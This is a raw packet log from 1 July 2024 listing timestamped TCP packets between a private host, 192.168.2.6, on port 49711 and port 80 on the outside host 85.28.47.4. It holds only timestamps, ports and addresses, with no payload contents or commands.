Jul 1, 2024 07:20:44.564121008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564142942 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564208031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564224005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564238071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564244986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564254999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564258099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564271927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564276934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564287901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564289093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564306021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564308882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564322948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564325094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564338923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564342022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564353943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564357042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564373970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564394951 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564630032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564645052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564660072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564662933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564677000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564682961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564692020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564702988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564712048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564718962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564733982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564738989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564749956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564753056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564766884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564770937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564784050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564788103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564800978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564806938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564819098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564824104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564836979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564838886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564853907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564856052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564871073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564872980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564888954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564893007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564905882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.564907074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564922094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.564939022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565253973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565273046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565289021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565294981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565305948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565310001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565324068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565326929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565340042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565345049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565361023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565376997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565551043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565566063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565584898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565587044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565602064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565604925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565618038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565622091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565634966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565639973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565650940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565658092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565668106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565684080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565685034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565699100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565700054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565710068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565716982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565723896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565732956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565742970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565749884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565756083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565766096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.565781116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565818071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.565844059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566117048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566133022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566148043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566157103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566170931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566179037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566186905 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566189051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566205978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566210032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566224098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566241026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566257000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566272974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566286087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566286087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566288948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566298962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566298962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566306114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566315889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566320896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566339016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566349983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566358089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566370964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.566370964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566396952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.566423893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.655539989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655584097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655637980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655659914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.655673981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655709028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655729055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.655760050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.655760050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655796051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655806065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.655829906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655838966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.655869007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.655883074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655917883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655932903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.655951023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655956030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.655987024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.655993938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656019926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656030893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656054974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656064034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656107903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656109095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656145096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656160116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656194925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656198025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656234026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656248093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656267881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656280994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656302929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656308889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656356096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656357050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656390905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656414986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656424046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656431913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656461000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656474113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656502962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656532049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656580925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656585932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656619072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656640053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656653881 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656653881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656692982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656706095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656712055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656721115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656754971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656755924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656791925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656805038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656826019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656841040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656864882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656867981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656914949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656919003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656949043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656961918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.656985998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.656995058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657018900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657026052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657052994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657061100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657088995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657099962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657124996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657135963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657161951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657175064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657195091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657211065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657242060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657247066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657280922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657314062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657315969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657340050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657347918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657350063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657386065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657391071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657422066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657439947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657457113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657465935 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657490015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657507896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657524109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657531977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657555103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657568932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657588959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657591105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657624006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657634020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657659054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657670975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657692909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657704115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657730103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657737017 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657763958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657773972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657799959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657809973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657838106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657850027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657882929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657890081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657923937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657938004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657957077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.657969952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.657991886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658005953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658027887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658037901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658058882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658076048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658107042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658107996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658142090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658155918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658174992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658180952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658209085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658215046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658242941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658248901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658288956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658289909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658324003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658335924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658360958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658374071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658395052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658405066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658431053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658442020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658444881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658467054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658479929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658484936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658514977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658520937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658549070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658557892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658582926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658592939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658617020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658627033 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658652067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658662081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658687115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658696890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658720970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658730984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658754110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658765078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658795118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658806086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658838034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658854008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658879995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658890009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658919096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658937931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658951044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658963919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.658986092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.658997059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659020901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659029961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659054995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659065008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659089088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659101963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659125090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659136057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659158945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659182072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659193039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659207106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659226894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659235954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659260988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659271002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659295082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659306049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659328938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659341097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659363985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659379005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659400940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.659405947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.659437895 CEST	80	49711	85.28.47.4	192.168.2.6
